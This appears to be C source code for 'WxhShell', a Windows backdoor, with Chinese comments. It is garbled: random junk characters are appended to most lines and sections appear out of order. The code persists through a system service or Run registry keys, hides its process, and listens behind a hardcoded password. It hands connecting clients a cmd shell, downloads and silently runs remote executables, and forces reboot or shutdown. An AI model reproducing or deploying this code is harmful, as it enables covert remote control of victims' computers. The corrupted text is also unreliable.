    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Os;\\~e5  
    if(Boot(SHUTDOWN)) 3i1>EjML  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C 0wq  
    else { AnQRSB (  
    closesocket(wsh); #e[5O| V~  
    ExitThread(0); i\b2P2 `B  
    } :csLZqn[  
    break; {s]eXc]K}  
    } gB#t"s)  
  // 获取shell :KwYuwYS  
  case 's': { i|e-N?l  
    CmdShell(wsh); g=wnly  
    closesocket(wsh);  LvaF4Y2v  
    ExitThread(0); +X%yF{^m(  
    break; Ym 6[~=~EK  
  } |BR&p)7)  
  // 退出 ~yV0SpL  
  case 'x': { [LK 9^/V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3yDvr*8-@  
    CloseIt(wsh); j<u`W|vl  
    break; _'Z@ < ,L  
    } GzX@Av$  
  // 离开 S6uBk"V!  
  case 'q': { lK0coj1+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); coBxZyM 1}  
    closesocket(wsh); 2_p/1Rs  
    WSACleanup(); "#%T*c{Tf0  
    exit(1); D KOdqTW  
    break; W=drp>Uj  
        } VlH9ap  
  } MLl:)W*  
  } pmZr<xs   
xfilxd  
  // 提示信息 \BA_PyS?W+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Y%}N(Jg  
} EW)]75o{QF  
  } LdcP0G\"VG  
,fbO}  
  return; xYbF76B  
} r BaK$Ut  
6k-]2,\#  
// shell模块句柄 n:{yri+  
int CmdShell(SOCKET sock) gg=z.`}  
{ 98l#+4 +  
STARTUPINFO si; '` n\YO.N  
ZeroMemory(&si,sizeof(si)); ufmFeeg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lxbZM9A2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zPn8>J<.0Q  
PROCESS_INFORMATION ProcessInfo; zT@vji%Y  
char cmdline[]="cmd"; mYZH]oo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U<t Qj`  
  return 0; 0>vm&W<?)  
} ke0Vy(3t{h  
zK}.Bhj#  
// 自身启动模式 -7CkOZT  
int StartFromService(void) n']@Spm  
{ ,+XQ!y%  
typedef struct >PTq5pk  
{ =d 9%ce  
  DWORD ExitStatus; J?{uG8)  
  DWORD PebBaseAddress; ?U&onGy  
  DWORD AffinityMask; mY-r:  
  DWORD BasePriority; l`d=sOB^  
  ULONG UniqueProcessId; 9,4a?.*4~  
  ULONG InheritedFromUniqueProcessId; Bi]%bl>%  
}   PROCESS_BASIC_INFORMATION; iC 2:P~  
w!Z3EA;`  
PROCNTQSIP NtQueryInformationProcess; ]>!]X*\9  
U`D"L4},.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H&I 0\upd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /IgTmXxxj  
Fik*7!XQ8  
  HANDLE             hProcess; ;kdJxxUox  
  PROCESS_BASIC_INFORMATION pbi; b8O:@j2  
JAYom%A"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +K&ze:-Z  
  if(NULL == hInst ) return 0; MYu-[Hg  
% L]xar  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rzz*[H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Da.vyp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uu HWN|  
7#Mi`W  
  if (!NtQueryInformationProcess) return 0; ]itvu:pl%  
UJO+7h'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @>da%cX  
  if(!hProcess) return 0; k(et b#  
*M&~R(TMn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XBBsdldZ  
} pA0mW9  
  CloseHandle(hProcess); 778a)ZOzb  
|3s-BKbN4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GZ9XG">  
if(hProcess==NULL) return 0; 8L0#<"'0  
|= ~9y"F  
HMODULE hMod; ]ko>vQ4]3  
char procName[255]; `CW=*uBH  
unsigned long cbNeeded;  </7J:#  
+3VY0J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j  $L  
p=p,sJ/@  
  CloseHandle(hProcess); th !Gc  
RE*;nSVFt  
if(strstr(procName,"services")) return 1; // 以服务启动 wqJH  
VsFRG;:\U  
  return 0; // 注册表启动 t~e.LxN  
} [(]uin+9Q  
2: fSn&*/>  
// 主模块 (T,ST3{*k  
int StartWxhshell(LPSTR lpCmdLine) znD0&CS9q  
{ lBl`R|Gt  
  SOCKET wsl; 21W>}I"0?  
BOOL val=TRUE; @qI^xs=Z  
  int port=0; k |M  
  struct sockaddr_in door; PE-Vx RN)  
-GQ`n01  
  if(wscfg.ws_autoins) Install(); Y'58.8hl  
C&r&&Pw  
port=atoi(lpCmdLine); p9fx~[_5/  
nD|Bo 9  
if(port<=0) port=wscfg.ws_port; ?z p$Wz;k  
 zoA]7pG-  
  WSADATA data; 1Z|q0-Dw0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h ~v8Q_6  
DdPU\ ZWR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lk4gjs,V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1InG%=jLo  
  door.sin_family = AF_INET; Ea 0 j}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _A1r6  
  door.sin_port = htons(port); 1#6c sZW5  
:D;BA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EQ\/I( =l  
closesocket(wsl); 624l5}@:  
return 1; ELPzqBI  
} 5!-'~W  
:(E.sT "R  
  if(listen(wsl,2) == INVALID_SOCKET) { '8PZmS8X9  
closesocket(wsl); "cj6i{x,~w  
return 1; Dy mf  
} }mz@oEB#vF  
  Wxhshell(wsl); _I+QInD;)  
  WSACleanup(); [Q6PFdQ_JT  
AfB,`l`k  
return 0; s&TPG0W  
RX\%R  
} Igrr"NuDZ  
2XNO*zbve  
// 以NT服务方式启动 h:[%' htz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /5pVzv+rm  
{ ^,*!Qk<c  
DWORD   status = 0; BRyrdt*_e  
  DWORD   specificError = 0xfffffff; tP^2NTs%]  
Z0 @P1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S8 .1%sw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yp9vgUs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n Hz Xp:"  
  serviceStatus.dwWin32ExitCode     = 0; imC>T!-7  
  serviceStatus.dwServiceSpecificExitCode = 0; I82GZL  
  serviceStatus.dwCheckPoint       = 0; dv1Y2[  
  serviceStatus.dwWaitHint       = 0; B'SLyf  
QZw`+KR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rv ouE:  
  if (hServiceStatusHandle==0) return; NU"Ld+gw  
y<|8OTT  
status = GetLastError(); 9#cPEbb~  
  if (status!=NO_ERROR) ,%6!8vX  
{ {el,CT#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D?A3p6%  
    serviceStatus.dwCheckPoint       = 0; Y?IvG&])  
    serviceStatus.dwWaitHint       = 0; ?g+uJf  
    serviceStatus.dwWin32ExitCode     = status; z>}H[0[#  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y#7sDd!N|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =jz [}5  
    return; )jm!bR`  
  } [&eG>zF"  
POB6#x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Klrd|;C  
  serviceStatus.dwCheckPoint       = 0; YMXhzqj  
  serviceStatus.dwWaitHint       = 0; @^R6}qJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NAgm?d  
} ecvQEK2L  
;iq H:wO  
// 处理NT服务事件,比如:启动、停止 E7 mB=bt>=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ON [F  
{ #l 7(W G  
switch(fdwControl) !A":L0[7n  
{ &Zy%Zz  
case SERVICE_CONTROL_STOP: rJtpTV@.  
  serviceStatus.dwWin32ExitCode = 0; s`#g<_{X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (_IPz)F  
  serviceStatus.dwCheckPoint   = 0; Z@(m.&ZRx  
  serviceStatus.dwWaitHint     = 0; ((Uw[8#2 `  
  { 7fE U5@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Vv.$mI  
  } 'nJ,mZx  
  return; a1#",%{I  
case SERVICE_CONTROL_PAUSE: vLI'Z)\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tw k  
  break; b=+3/-d  
case SERVICE_CONTROL_CONTINUE: T$!Pkdh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  9q[ d?1  
  break; yd|ao\'=  
case SERVICE_CONTROL_INTERROGATE: yi.GD~69  
  break; SR>(GQ,m0;  
}; Jo'~oZ$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (! a;}V<7  
} 03Uj0.Z|7  
4p<c|(f#  
// 标准应用程序主函数 )kIZm Q|f1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fa0Fl}L  
{ uxx(WS  
!:2_y'hA  
// 获取操作系统版本 fD3>g{  
OsIsNt=GetOsVer(); F81Kxcs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U5:5$T,C  
U2G[uDa;  
  // 从命令行安装 pL5Bz!_r  
  if(strpbrk(lpCmdLine,"iI")) Install(); PjE%_M<  
}y>/#]X  
  // 下载执行文件 yU|=)p5  
if(wscfg.ws_downexe) { fL(_V/p^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q3<ctd\]Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); l3N '@GO  
} 'r'+$D7  
Rt.2]eZEJ  
if(!OsIsNt) {  |\FJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ORE;pG  
HideProc(); ^^z_[Ih  
StartWxhshell(lpCmdLine); `|p8zV  
} j6GR-WQ]t  
else p}]K0F!  
  if(StartFromService()) 0u}+n+\g  
  // 以服务方式启动 %6Y\4Fe  
  StartServiceCtrlDispatcher(DispatchTable); M#}k@ ;L3  
else T&ib]LmR  
  // 普通方式启动 Ju-#F@38  
  StartWxhshell(lpCmdLine); D4jZh+_|S  
lw`$(,  
return 0; m^$KDrkD  
} K |^OnM  
p'4ZcCW?f  
T s9go  
ZFC&&[%-sG  
=========================================== @rE+H 5  
@yNCWa~N  
Z{^Pnit  
}hA)p:  
Lvb'qZ6n  
. efbORp  
" ^tL]QE?|  
,l#f6H7p  
#include <stdio.h> =zW`+++3  
#include <string.h> @NYlVk2  
#include <windows.h> .h-k*F0Ga)  
#include <winsock2.h> g oZw![4l  
#include <winsvc.h> Y;=GM:*H  
#include <urlmon.h> k $E{'Dv  
:DJLkMP  
#pragma comment (lib, "Ws2_32.lib") 2m,t<Y;  
#pragma comment (lib, "urlmon.lib") uCjbb  
Ssd7]G+n:  
#define MAX_USER   100 // 最大客户端连接数 !DBaC%TGC  
#define BUF_SOCK   200 // sock buffer G LA4O)  
#define KEY_BUFF   255 // 输入 buffer ~p{ fl?  
Mk/ZEyq^  
#define REBOOT     0   // 重启 v*&WqVg  
#define SHUTDOWN   1   // 关机 2OwO|n  
ow9Vj$m  
#define DEF_PORT   5000 // 监听端口 OouR4  
YR"IPyj  
#define REG_LEN     16   // 注册表键长度 vMYEP_lhK,  
#define SVC_LEN     80   // NT服务名长度 6$G@>QCBS  
Z8:'_#^@a[  
// 从dll定义API )U+&XjK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :+<GJj_d+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A i~d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DfZ)gqp/Av  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \|7Y"WEQ  
3uuB/8  
// wxhshell配置信息 6'|NALW  
struct WSCFG { `L @`l  
  int ws_port;         // 监听端口 |?LUt@r;  
  char ws_passstr[REG_LEN]; // 口令 Vr KFpFd  
  int ws_autoins;       // 安装标记, 1=yes 0=no YR.f`-<Z  
  char ws_regname[REG_LEN]; // 注册表键名 Mb+CtI_'  
  char ws_svcname[REG_LEN]; // 服务名 ]Z>zf]<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :@,UPc-+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ui&^ m,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i}kMo@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {^@qfkZz^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G3D!ifho.#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qb PC5v  
<-xu*Fc  
}; +ooQ-Gh  
L8cPNgZ   
// default Wxhshell configuration +IM6 GeH  
struct WSCFG wscfg={DEF_PORT, XBos ^Q  
    "xuhuanlingzhe", d=a$Gd_$  
    1, +pjU4>)  
    "Wxhshell", *}Gu'EU  
    "Wxhshell", ?j$*a7[w  
            "WxhShell Service", \l?.VE D  
    "Wrsky Windows CmdShell Service", T2}ccnDi  
    "Please Input Your Password: ", QD^"cPC)mM  
  1, t_iZ\_8  
  "http://www.wrsky.com/wxhshell.exe", 7VA6J-T  
  "Wxhshell.exe" rm!.J0 X  
    }; ^"4u1  
HE*P0Y f=  
// 消息定义模块 x=3+@'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }J] P`v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XaYgl&x'!x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Q?_],ip  
char *msg_ws_ext="\n\rExit."; .GuZV'  
char *msg_ws_end="\n\rQuit."; g&L $5  
char *msg_ws_boot="\n\rReboot..."; }\d3   
char *msg_ws_poff="\n\rShutdown..."; $F~hL?"?  
char *msg_ws_down="\n\rSave to "; Ffr6P }I  
n$jf($*  
char *msg_ws_err="\n\rErr!"; V2*m/JyeB  
char *msg_ws_ok="\n\rOK!"; 5YgUk[J  
0u8(*?  
char ExeFile[MAX_PATH]; 5U.,iQ(d  
int nUser = 0; ) q'~<QxI\  
HANDLE handles[MAX_USER]; uH8`ipX  
int OsIsNt; .iH#8Z  
@-BgPDi.Z  
SERVICE_STATUS       serviceStatus; J!*Pg<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,E8~^\HV  
-1 _7z{.  
// 函数声明 9p9-tJfH.  
int Install(void); R,ddH[3  
int Uninstall(void); q pFzK  
int DownloadFile(char *sURL, SOCKET wsh); "6P-0CJ  
int Boot(int flag); x^JjoI2vf  
void HideProc(void); }NETiJ"6  
int GetOsVer(void); 8A|i$#.&  
int Wxhshell(SOCKET wsl); ]@7]mu:oL  
void TalkWithClient(void *cs); 'gv7&$X}4  
int CmdShell(SOCKET sock); gb@ |\n  
int StartFromService(void); My\  
int StartWxhshell(LPSTR lpCmdLine); U-GV^j  
oxL4* bqZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e3{L%rQE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Rnq5y  
Ab f=b<bu  
// 数据结构和表定义 ?u8 vK<2h  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Qgd^o:d  
{ 0-w^y<\  
{wscfg.ws_svcname, NTServiceMain}, ^Sz?c_<2P  
{NULL, NULL} d 3 }'J  
}; od~`q4p1(-  
js8\"  
// 自我安装 7<c&)No;  
int Install(void) S~4HFNe^&  
{ i*%2 e)  
  char svExeFile[MAX_PATH]; }V % b  
  HKEY key; \^%5!  
  strcpy(svExeFile,ExeFile); Y/w) VV  
2F#R;B#2  
// 如果是win9x系统,修改注册表设为自启动 D^H<)5d9  
if(!OsIsNt) { vH^^QI:em  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `)R@\@jt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nW (wu!2  
  RegCloseKey(key); ;j/-ndd&&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jZ>'q/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2_ HPsEx  
  RegCloseKey(key); ZW|VAn'>  
  return 0; ^#L?HIM  
    } |d1%N'Ll  
  } ?OPAf4h  
} e/h7x\Z  
else { ^6 sT$set  
U-EX)S^T[{  
// 如果是NT以上系统,安装为系统服务 1f1J'du  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,/g\;#:{@]  
if (schSCManager!=0) N:@C% UW}  
{ E0*'AZi&  
  SC_HANDLE schService = CreateService 4r [T pb  
  ( <ST#< $%  
  schSCManager, k&P_ c  
  wscfg.ws_svcname, ;DKwv}  
  wscfg.ws_svcdisp, !&Q3>8l  
  SERVICE_ALL_ACCESS, $zBG19 [%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \HOOWaapN  
  SERVICE_AUTO_START, E$[\Fk}S  
  SERVICE_ERROR_NORMAL, Az2$\  
  svExeFile, < &'r_m  
  NULL, R`:NUGR  
  NULL, ^50/.Z >  
  NULL, ;pNHT*>u,  
  NULL, $|YIr7?R  
  NULL c#e_Fs  
  ); 8EPV\M1%  
  if (schService!=0) ft[g1  
  { ^eEj 5Rh  
  CloseServiceHandle(schService); B"I> mw  
  CloseServiceHandle(schSCManager); :*!u\lV\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RfB""b8]=  
  strcat(svExeFile,wscfg.ws_svcname); =#<hT s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'gojP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ QM  
  RegCloseKey(key); Al`[Iu&  
  return 0; Ga%]$4u  
    } "/?*F\5  
  } gH0B[w ]  
  CloseServiceHandle(schSCManager); %6"b< MAO  
} 1a90S*M  
} R6Cm:4m}I  
Tf"DpA!_  
return 1; >M^ 1m(  
} [lA[w Cw  
8P!dk5 ,,O  
// 自我卸载 Sh]x`3 ).  
int Uninstall(void) fwRlqfi  
{ L/GM~*Xp(O  
  HKEY key; D.<CkD B  
q9oF8&O,  
if(!OsIsNt) { Co19^g*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iEki<e/  
  RegDeleteValue(key,wscfg.ws_regname); 7`tnoTUv  
  RegCloseKey(key); _A)<"z0E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XI\aZ\v  
  RegDeleteValue(key,wscfg.ws_regname); Rhx7eU#&  
  RegCloseKey(key); BQB O]<99  
  return 0; xM;gF2  
  } asW1GZO  
} FV$= l %  
} tb0XXE E  
else { ]+ ':=&+:  
);z}T0C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %MP s}B  
if (schSCManager!=0) #Y}Hh7.<  
{ .tN)H1.:B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2>O2#53ls0  
  if (schService!=0) J6 [x(T  
  { u?g!E."v  
  if(DeleteService(schService)!=0) { ["Q8`vV0WO  
  CloseServiceHandle(schService); J5Fg]O*  
  CloseServiceHandle(schSCManager); '{cN~A2b4  
  return 0; dtM@iDljj  
  } #G.3a]p}"  
  CloseServiceHandle(schService); 2a=WT`xf ?  
  } 7 Nwi\#o  
  CloseServiceHandle(schSCManager); 0v0Y( Mo@  
} vEzzdDwi6  
} jD^L<  
9v cUo?/  
return 1; |k/;.  
} ]QT0sGl  
;*W]]4fy  
// 从指定url下载文件 \-s) D#Y;r  
int DownloadFile(char *sURL, SOCKET wsh) R~ w(]  
{ [l#WS  
  HRESULT hr; B@zJ\Ir[  
char seps[]= "/"; R[&lk~a{=  
char *token; `6mHt6"h  
char *file; f aO8 &  
char myURL[MAX_PATH]; UWn}0:6t  
char myFILE[MAX_PATH]; i8B%|[ nm  
rpEFyHorJ  
strcpy(myURL,sURL); +zs6$OI]V  
  token=strtok(myURL,seps); 6eDIS|/  
  while(token!=NULL) GYO\l.%V5y  
  { 4E |6l  
    file=token; ;7`<.y  
  token=strtok(NULL,seps); g=Qga09  
  } z{#F9'\&  
Y[~6f,?^  
GetCurrentDirectory(MAX_PATH,myFILE); ]Hd 0 Y%  
strcat(myFILE, "\\"); 50DPzn  
strcat(myFILE, file); 5h:SH]tn8]  
  send(wsh,myFILE,strlen(myFILE),0); ^ 2kWD8c*  
send(wsh,"...",3,0); Yn<0D|S;X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uAjGR  
  if(hr==S_OK) <Z m ,q}  
return 0; gv[7h'}<  
else l(]\[}.5  
return 1; 5&X  
Ve8!   
} ==XP}w)m  
9)l_(*F  
// 系统电源模块 y9*H  
int Boot(int flag) !7xp<=  
{ CMBW]b|  
  HANDLE hToken; <go~WpA|r  
  TOKEN_PRIVILEGES tkp; qz0v1057#  
4[J3HLQ  
  if(OsIsNt) { ,#wVqBEk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5R=lTx/Hj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #h3+T*5} 6  
    tkp.PrivilegeCount = 1; 4{vd6T}V!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \PLV]%3,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <;6])  
if(flag==REBOOT) { D@^F6am%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bg HaheU  
  return 0; KFZ[gqW8YY  
} T?\CAk>  
else { Q"Ec7C5eM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9iFe^^<ss  
  return 0; H~ZSw7!M8  
} (j~V  
  } ?UfZVyHv+  
  else { <{ ) 4gvH  
if(flag==REBOOT) { 4]B3C\ v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^mum5j  
  return 0; ]Qu12Wg}P  
} lTB!yF.r|  
else { wFJK!9KA8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,#E5/'c`  
  return 0; %UQ{'JW?K  
} OpL 6Y+<  
} w//w$}v  
Y=rr6/k  
return 1; b}4/4Z.  
} 20moX7L  
xF/DYXC{8  
// win9x进程隐藏模块 .HQ<6k:  
void HideProc(void) og\XLJ}_  
{ gPwp [  
v)d0MxSC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <=inogf  
  if ( hKernel != NULL ) o 4b{>x  
  { KB"iF}\P0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $0*47+f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mz G ryM-  
    FreeLibrary(hKernel); &!a 2%%1#N  
  } lBn*G&(P  
iTt=aQjd  
return; >1~`tP  
} .]e6TFsrO  
v$i%>tQ\  
// 获取操作系统版本 _B1uE2j9  
int GetOsVer(void) J:lwq@u  
{ {@#L'i|  
  OSVERSIONINFO winfo; 0l6iv[qu5w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /K!,^Xn  
  GetVersionEx(&winfo); }}1/Ede{5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =| !~0O  
  return 1; ~1'468  
  else U9 59=e  
  return 0; cx,A.Lc  
} +lT]s#Fif  
w Y. g- 3  
// 客户端句柄模块 i/J NG  
int Wxhshell(SOCKET wsl) %^l&fM*  
{ u}1vn}F{  
  SOCKET wsh; )/Xrhhx  
  struct sockaddr_in client; \!QF9dP4  
  DWORD myID; =Yj[MVn  
lkZC?--H  
  while(nUser<MAX_USER) 5 WppV3;  
{ u-9t s  
  int nSize=sizeof(client); _;q-+"6L;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `fkri k  
  if(wsh==INVALID_SOCKET) return 1; %'T>kz*A  
@L!#i*> 9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W[>TqT63  
if(handles[nUser]==0) |I}+!DDuv  
  closesocket(wsh); SU'1#$69F  
else m[{&xF|_  
  nUser++; DP_Pqn8p&M  
  } iFCH$!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I|IlFu?O=  
(A'q@-XQ  
  return 0; <e&QTyb  
} &{/>Sv!6#  
i`aG  
// 关闭 socket YB{E= \~  
void CloseIt(SOCKET wsh) mY 8=qkZE  
{ >ij4z N  
closesocket(wsh); /V<`L  
nUser--; tMZ(s  
ExitThread(0); ?+O|mX}`-  
} d95N$n   
(1,#=e+  
// 客户端请求句柄 I A`8ie+  
void TalkWithClient(void *cs) 87(^P3;@  
{ 'B5J.Xe:  
&&nO]p`  
  SOCKET wsh=(SOCKET)cs; p\_qHq\;j  
  char pwd[SVC_LEN]; GLQvAHC  
  char cmd[KEY_BUFF]; ]GtR8w@w  
char chr[1]; 6J-}&U  
int i,j; eH!|MHe  
$ XsQ e  
  while (nUser < MAX_USER) { IaTq4rt  
 "$Iw Q  
if(wscfg.ws_passstr) { ;v +uv f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `O=;E`ep  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z#J/*712  
  //ZeroMemory(pwd,KEY_BUFF); z{3%Hq  
      i=0; /Tf*d>Yh;  
  while(i<SVC_LEN) { pt cLJ]+)  
^1,Eo2yN  
  // 设置超时 `/JR}g{O  
  fd_set FdRead; wwcwYPeg  
  struct timeval TimeOut; a^T4\  
  FD_ZERO(&FdRead);  q3-;}+  
  FD_SET(wsh,&FdRead); /^33 e+j  
  TimeOut.tv_sec=8; fd"~[ z[  
  TimeOut.tv_usec=0; sR>;h /  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4`-?r%$,:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 31sgf5 s  
C$RAJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y[WYH5 &DJ  
  pwd=chr[0]; fI d)  
  if(chr[0]==0xd || chr[0]==0xa) { ,c7u  
  pwd=0; khN:+V|  
  break; KvJP(!{  
  } )]b@eGNGj  
  i++; K# i*9sM  
    } )~blx+\y  
'Tf#S@o  
  // 如果是非法用户,关闭 socket "4k=(R?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ckjVa\  
} uU ?37V  
9poEUjBI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wz0$g4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fpK0MS]=b  
"p~]m~g  
while(1) { S7NnC4)=-f  
BQul iX&  
  ZeroMemory(cmd,KEY_BUFF); zj$_iB`9  
=Sb:<q+Q  
      // 自动支持客户端 telnet标准   gj egzKU  
  j=0; 8 1K G1i)  
  while(j<KEY_BUFF) { rI^~9Rz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p-yOiG8b}  
  cmd[j]=chr[0]; a,57`Ks+n<  
  if(chr[0]==0xa || chr[0]==0xd) { $|cp;~ 1  
  cmd[j]=0; &Rl3y\ r  
  break; [5p7@6:$u  
  } KG-k$glD  
  j++; ;vv!qBl|@  
    } \, %o>M'  
QVG0>,+}$  
  // 下载文件 ;c m wh<  
  if(strstr(cmd,"http://")) { spU!t-n67  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J'\eS./w|  
  if(DownloadFile(cmd,wsh)) %I|+_ z&x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vBnKu  
  else Q 9gFTLQ  
